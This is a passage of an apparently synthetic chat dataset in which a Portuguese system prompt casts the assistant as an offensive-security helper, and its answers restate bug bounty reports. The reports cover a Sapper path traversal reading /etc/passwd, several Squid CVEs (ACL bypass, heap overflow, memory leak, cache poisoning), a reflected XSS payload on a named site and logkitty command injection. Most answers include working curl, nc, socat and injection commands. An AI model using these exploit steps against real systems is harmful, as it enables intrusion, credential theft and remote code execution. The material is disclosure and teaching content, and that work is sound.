4. `npx sapper dev` - **exploit** with `curl -vv http://localhost:3000/client/750af05c3a69ddc6073a/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`
This also works in prod mode with
4. `npx sapper build && node __sapper__build` - **exploit** with `curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd`

The reason why the production deployment requires an extra-layer of URL encoding is because this project runs under polka in production, which, contrary to express for example, applies an extra `decodeURIComponent` on the URI.

### Impacto
Any file can be retrieved from the remote server, namely stuff like /proc/self/environ, which would contain any sort of API keys used by the environment the application has been deployed too. This will lead to complete infrastructure RCE and takeover.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Squid leaks previous content from reusable buffer

[Assistant]
### Resumo da Vulnerabilidade
A malicious response to a FTP request can cause Squid to miscalculate the length of a string copying data past the terminating NULL. Due to Squid's memory pool the contents that is exposed could range from internal data, to other user's private Request/Response to Squid.

This exist in Squid-4.9 and Below and was fixed in Squid-4.10
This vulnerability was assigned CVE-2019-12528.

### Passos para Reproduzir
A custom config is should not be needed.
I've attached a python script that returns the needed response to trigger this.

1) Start Squid
```
./sbin/squid
```

2) Start your malicious FTP Server
```
./squid_leak.py 8080
```

3) Make a request to the FTP server via Squid.
```
printf "GET ftp://<ftp ip>:8080/ HTTP/1.1\r\n\r\n" | nc <squid hostname> 3128
```

4) The FTP server should have sent the listing. A message from it saying
```
<- 226 Listing sent
```
Should be visible

The leaked data is now in the HTML that Squid has returned. The data will be under the line

```<th nowrap="nowrap"><a href="../">Parent Directory</a> (<a href="/">Root Directory</a>)</th>```

Within the following <tr>

For reference a normal response would look like

```
<tr class="entry"><td colspan="5">hi</td></tr>
```

### Impacto
An attacker can leak sensitive information from the Squid process. This could include other user's Request and Response which could have headers, cookies, full bodies, and post data.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Cache Manager ACL Bypass

[Assistant]
### Resumo da Vulnerabilidade
ACL Manager can be bypassed giving non authorized users to squid-internal-mgr.
Possible to bypass other url_regex, but only focused on manager.

<= Squid-4.7 vulnerable
Silently Fixed in Squid-4.8
Announce page was allocated, but never made http://www.squid-cache.org/Advisories/SQUID-2019_4.txt As another issue similar to this wasn't fixed

Patch: http://www.squid-cache.org/Versions/v4/changesets/squid-4-e1e861eb9a04137fe81decd1c9370b13c6f18a18.patch

Assigned: CVE-2019-12524

### Passos para Reproduzir
1) Start squid-4.7
```
./sbin/squid
```

2) Issue the following request replacing <hostname> with the hostname of the server running squid
```
echo -e "GET https://jeriko.one%252f@<hostname>:3128/squid-internal-mgr/active_requests HTTP/1.1\r\n\r\n" |nc <hostname> 3128
```

```
HTTP/1.1 200 OK
Server: squid/4.7
Mime-Version: 1.0
Date: Wed, 18 Mar 2020 23:41:31 GMT
Content-Type: text/plain;charset=utf-8
Expires: Wed, 18 Mar 2020 23:41:31 GMT
Last-Modified: Wed, 18 Mar 2020 23:41:31 GMT
X-Cache: MISS from g64
Transfer-Encoding: chunked
Via: 1.1 g64 (squid/4.7)
Connection: keep-alive

1AF
Connection: 0x5594f78d95f8
	FD 10, read 85, wrote 0
	FD desc: Reading next request
	in: buf 0x5594f7d2e1a4, used 1, free 4011
	remote: 192.168.4.144:38376
	local: 192.168.4.144:3128
	nrequests: 1
uri https://jeriko.one%2f@g64:3128/squid-internal-mgr/active_requests
logType TCP_MISS
out.offset 0, out.size 0
req_sz 84
entry 0x5594f7d2b720/0300000000000000291F000001000000
start 1584574891.149644 (0.000000 seconds ago)
username -

0
```
You should have accessed the active_requests page in the squid-internal-mgr

### Impacto
Bypasses restrictions on squid-internal-mgr. This allows an attacker to gain information on Squid clients, request being made, usernames, peer servers, servers being reversed proxied,  in memory objects, addresses of objects which can be used to break ASLR.

A list can be found in stat.cc where functions are registered to the Manager.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Reflected XSS in https://blocked.myndr.net

[Assistant]
### Passos para Reproduzir
1. Go to the https://blocked.myndr.net.
2. Find the endpoint in the domain -https://blocked.myndr.net/?trg=1
3. Add the payload ?trg="><script>alert(1)</script>
4. You can see the pop up in your browser.

### Impacto
With the help of XSS, a hacker or attacker can perform social engineering on users by redirecting them from real websites to fake ones. the hacker can steal their cookies and download malware on their system, and there are many more attacking scenarios a skilled attacker can perform with XSS.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Cache Poisoning

[Assistant]
### Resumo da Vulnerabilidade
An attacker can cause Squid to return to the user attacker controlled data, for any domain. From Squid-4.7 and below both HTTPS and FTP could be poisoned. This is due to Squid URL decoding parts of the Request URL and using that to create a hash. Request that decode to the same URL will retrieve the same cached response even if they're from different domains.

The fix for  CVE-2019-12524 removed the HTTPS aspect of it, but FTP poisoning was still possible till Squid-4.10.

<= Squid-4.9 Vulnerable
<= Squid-4.7 Can also poison HTTPS was reduced to just FTP

Assigned CVE-2019-12520
No Announce was officially made by Squid, and was silently fixed with Squid-4.10. This was going to be announced with http://www.squid-cache.org/Advisories/SQUID-2019_4.txt, but never got published when I demonstrated their patch was incomplete at the time.

Fixed in Squid-4.10

### Passos para Reproduzir

### Impacto
Attacker can poison the Cache causing users to receive attacker controlled data when going to a trusted domain.
Squid-4.9 And below allows an attacker to poison FTP responses, a user could download attacker controlled data thinking it came from a legitiment source.

<= Squid-4.7 Can also poison HTTPS allowing attacker controlled content to run in another domain.

These both require a user to visit a specially crafted URL.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: UrnState Heap Overflow

[Assistant]
### Resumo da Vulnerabilidade
When handling a URN Request an attacker controlled response can  cause Squid to overflow a heap buffer. The buffer exist within a struct so not only does it allow an attacker to overflow adjacent memory, but also control a pointer that follows the buffer enabling them to free arbitrary memory. Paired with the Cache Manager bypass that I reported earlier, an attacker will know which addresses are valid. This can lead to RCE and was stated in the serverity of the Squid announce.

Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_7.txt
Assigned CVE-2019-12526

### Passos para Reproduzir
You must add the following to your squid.conf to allow URN request

```
acl Safe_ports port 0
```

The squid child will crash even without Asan, but it'll automatically restart. You can check PIDs to confirm it did crash or you can build with ASan if you want to see the crash output.

```
$ export CFLAGS="${CFLAGS} -fsanitize=address -g"
$ export CXXFLAGS="${CXXFLAGS} ${CFLAGS}"

$./configure
```

I would also set the following ASan flags
```
export ASAN_OPTIONS="detect_leaks=false abort_on_error=true"
```

1) Start Squid
```
./sbin/squid --foreground -d 100
```

1) Start a server that will output 4096 bytes
```
$ socat TCP-LISTEN:8080,fork SYSTEM:"python -c \'print\(\\\"A\\\" * 4096)\'"
```

2) Make a URN request to this server
```
$ echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128

```

```
=================================================================
==4723==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000067958 at pc 0x7f0d8a44deed bp 0x7ffff8eef4b0 sp 0x7ffff8eeec58
WRITE of size 81 at 0x621000067958 thread T0
    #0 0x7f0d8a44deec  (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
    #1 0x563906dc1389 in mem_hdr::copyAvailable(mem_node*, long, unsigned long, char*) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:202
    #2 0x563906dc1f58 in mem_hdr::copy(StoreIOBuffer const&) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:262
    #3 0x563906de76d7 in store_client::scheduleMemRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:424
    #4 0x563906de6f0c in store_client::scheduleRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:391
    #5 0x563906de691f in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:352
    #6 0x563906de6082 in storeClientCopy2 /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:306
    #7 0x563906de4ac4 in storeClientCopyEvent /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:145
    #8 0x563906c3cc8e in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid/releases/squid-4.8/src/event.cc:41
    #9 0x563906c3d7c6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
    #10 0x563906fd75cd in AsyncCall::make() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCall.cc:40
    #11 0x563906fd90b5 in AsyncCallQueue::fireNext() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:56
    #12 0x563906fd8bfc in AsyncCallQueue::fire() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:42
    #13 0x563906c3e8ac in EventLoop::dispatchCalls() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:144
    #14 0x563906c3e42e in EventLoop::runOnce() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:109
    #15 0x563906c3e052 in EventLoop::run() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:83
    #16 0x563906d35a0e in SquidMain(int, char**) /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1709
    #17 0x563906d34102 in SquidMainSafe /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1417
    #18 0x563906d3404f in main /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1405
    #19 0x7f0d89723eaa in __libc_start_main (/lib64/libc.so.6+0x23eaa)
    #20 0x563906ae3b59 in _start (/home/j1/h4x/squid/debug/squid-4.8/sbin/squid+0x484b59)

0x621000067958 is located 0 bytes to the right of 4184-byte region [0x621000066900,0x621000067958)
allocated by thread T0 here:
    #0 0x7f0d8a4c59ae in __interceptor_calloc (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x1179ae)
    #1 0x563907343217 in xcalloc /home/j1/h4x/squid/releases/squid-4.8/compat/xalloc.cc:83
    #2 0x56390731d954 in MemPoolMalloc::allocate() /home/j1/h4x/squid/releases/squid-4.8/src/mem/PoolMalloc.cc:35
    #3 0x563907317412 in MemImplementingAllocator::alloc() /home/j1/h4x/squid/releases/squid-4.8/src/mem/Pool.cc:204
    #4 0x563906b62af5 in cbdataInternalAlloc(int, char const*, int) /home/j1/h4x/squid/releases/squid-4.8/src/cbdata.cc:238
    #5 0x563906e36d1c in UrnState::operator new(unsigned long) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:32
    #6 0x563906e344c1 in urnStart(HttpRequest*, StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:211
    #7 0x563906c609cb in FwdState::Start(RefCount<Comm::Connection> const&, StoreEntry*, HttpRequest*, RefCount<AccessLogEntry> const&) /home/j1/h4x/squid/releases/squid-4.8/src/FwdState.cc:373
    #8 0x563906bac622 in clientReplyContext::processMiss() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:783
    #9 0x563906bb947e in clientReplyContext::doGetMoreData() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1855
    #10 0x563906bb76d1 in clientReplyContext::identifyFoundObject(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1707
    #11 0x563906bae43c in clientReplyContext::created(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:937
    #12 0x563906dc96e7 in StoreEntry::getPublicByRequest(StoreClient*, HttpRequest*) /home/j1/h4x/squid/releases/squid-4.8/src/store.cc:524
    #13 0x563906bb716e in clientReplyContext::identifyStoreObject() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1667
    #14 0x563906bb8cab in clientGetMoreData /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1813
    #15 0x563906bead08 in clientStreamRead(clientStreamNode*, ClientHttpRequest*, StoreIOBuffer) /home/j1/h4x/squid/releases/squid-4.8/src/clientStream.cc:182
    #16 0x563906bd20c6 in ClientHttpRequest::httpStart() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1542
    #17 0x563906bd1c94 in ClientHttpRequest::processRequest() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1528
    #18 0x563906bd528d in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1896
    #19 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
    #20 0x563906bcacf5 in ClientRequestContext::clientAccessCheck2() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:729
    #21 0x563906bd383f in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1781
    #22 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
    #23 0x563906bcae38 in clientAccessCheckDoneWrapper /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:741
    #24 0x563906f171b9 in ACLChecklist::checkCallback(allow_t) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:169
    #25 0x563906f15b23 in ACLChecklist::completeNonBlocking() /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:54
    #26 0x563906f17c5b in ACLChecklist::nonBlockingCheck(void (*)(allow_t, void*), void*) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:257
    #27 0x563906bca91a in ClientRequestContext::clientAccessCheck() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:709
    #28 0x563906bd3255 in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1753
    #29 0x563906bc87b9 in ClientRequestContext::hostHeaderVerify() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:600

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
Shadow bytes around the buggy address:
  0x0c4280004ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4280004ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4280004ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4280004f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4280004f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4280004f20: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa
  0x0c4280004f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4280004f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4280004f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4280004f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4280004f70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==4723==ABORTING
```

### Impacto
This overflow has 2 useful features for someone trying to exploit Squid. The
first obvious one being overflowing into an adjacent memory region. An
attacker that was able to align the heap in such a way that a virtual table
pointer was after the urnState object could gain control of the instructor
pointer, thus, gaining control of the Squid process.

The second is that before urnState overflows into that adjacent object it will
overflow the pointer urlres within itself. This pointer later is free'd. An
attacker with knowledge of current addresses in Squid could use this to
trigger a Use-After-Free.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: URN Request bypass ACL Checks

[Assistant]
### Resumo da Vulnerabilidade
Attacker can bypass ACL checks gaining access to restricted HTTP servers such as those running on localhost. Attacker could also gain access to CacheManager if VIA
header is turned off. Only lines with : will be readable though, and the response must be less than 4096 bytes or it'll trigger the Heap Overflow I reported earlier.

This is due to URN request being transformed into HTTP request, and not going through the ACL checks that incoming HTTP request go through.

<= Squid-4.8 Vulnerable
Fixed in Squid-4.9
Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_8.txt
Assigned  CVE-2019-12523

### Passos para Reproduzir
Enable URN by adding the following entry to Safe_ports
```
acl Safe_ports port 0           # urn
```

Ensure that you're blocking request to localhost
```
http_access deny to_localhost
```
1) Start Squid
```
./sbin/squid
```

2) Start a HTTP server on localhost serving a file that has colons
```
python -m http.server --bind 127.0.0.1 8080
```
Contents of hello.html
```
<html>
	<body>
	Notice: For localhost only
	</body>
</html>
```

3) Make the following URN request

```
echo -e "GET urn::@127.0.0.1:8080/hello.html? HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128

HTTP/1.1 302 Found
Server: squid/4.8
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 18:11:20 GMT
Content-Type: text/html
Content-Length: 460
Expires: Thu, 19 Mar 2020 18:11:20 GMT
Location: 	Notice: For localhost only
X-Cache: MISS from g64
Via: 1.1 g64 (squid/4.8)
Connection: keep-alive

<TITLE>Select URL for urn::@127.0.0.1:8080/hello.html?</TITLE>
<STYLE type="text/css"><!--BODY{background-color:#ffffff;font-family:verdana,sans-serif}--></STYLE>
<H2>Select URL for urn::@127.0.0.1:8080/hello.html?</H2>
<TABLE BORDER="0" WIDTH="100%">
<TR><TD><A HREF="	Notice: For localhost only">	Notice: For localhost only</A></TD><TD align="right">Unknown</TD><TD> </TD></TR>
</TABLE><HR noshade size="1px">
<ADDRESS>
Generated by squid/4.8@g64
</ADDRESS>

```

### Impacto
Attacker can bypass all ACLs using an URN Request. This allows them to make HTTP GET Request to restricted resources. An attacker will be limited on what they can view from these request. Lines must contain : and the response must be less than 4096 bytes.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Array Index Underflow--http rpc

[Assistant]
### Resumo da Vulnerabilidade
parserse_base_utils.h:197
const unsigned char tmp = isx[(int)*++it];
Int type will cause the array subscript to appear negative and read wrong data,
Solution:
const unsigned char tmp = isx[(unsigned char)*++it];

### Passos para Reproduzir
[add details for how we can reproduce the issue]

\#include <iostream>
\#include "serialization/keyvalue_serialization.h"
\#include "storages/portable_storage_template_helper.h"
\#include "storages/portable_storage_base.h"

\#ifdef __cplusplus
extern "C"
\#endif
int LLVMFuzzerTestOneInput(const char *data, size_t size) {
  std::string s(data,size);
  try
  {
    epee::serialization::portable_storage ps;
    ps.load_from_json(s);
  }
  catch (const std::exception &e)
  {
    std::cerr << "Failed to load from binary: " << e.what() << std::endl;
    return 1;
  }
  return 0;
}

### Impacto
1.crash
2.leaking of sensitive info


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Improper email address verifiation while saving Account Details

[Assistant]
### Resumo da Vulnerabilidade
Attacker could be able change its email to any email address even already created another user's email address.(Even though UI doesnot allow it)

### Passos para Reproduzir
0. Set up proxy.
  1. Singup with any email address
  2. Go to profile section
  3. Click on update button
  4. Monitor call in reverse proxy and change email field to any user's email address
 5. Done! Attacker is able to change its email address to any email address even registered one's

### Impacto
Attacker might be able to impersonate as any other user


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [logkitty] RCE via insecure command formatting

[Assistant]
### Passos para Reproduzir
1. Check there aren't files called `HACKED`
1. Execute the following commands in another terminal:

```bash
npm i logkitty # Install affected module
logkitty android app 'test; touch HACKED' #  Note the *touch command* is inside the *'* (single quote), so it's an argument, while it will be executed anyway
```
1. Recheck the files: now `HACKED` has been created :) {F754955}

### Impacto
`RCE` via command formatting on `logkitty`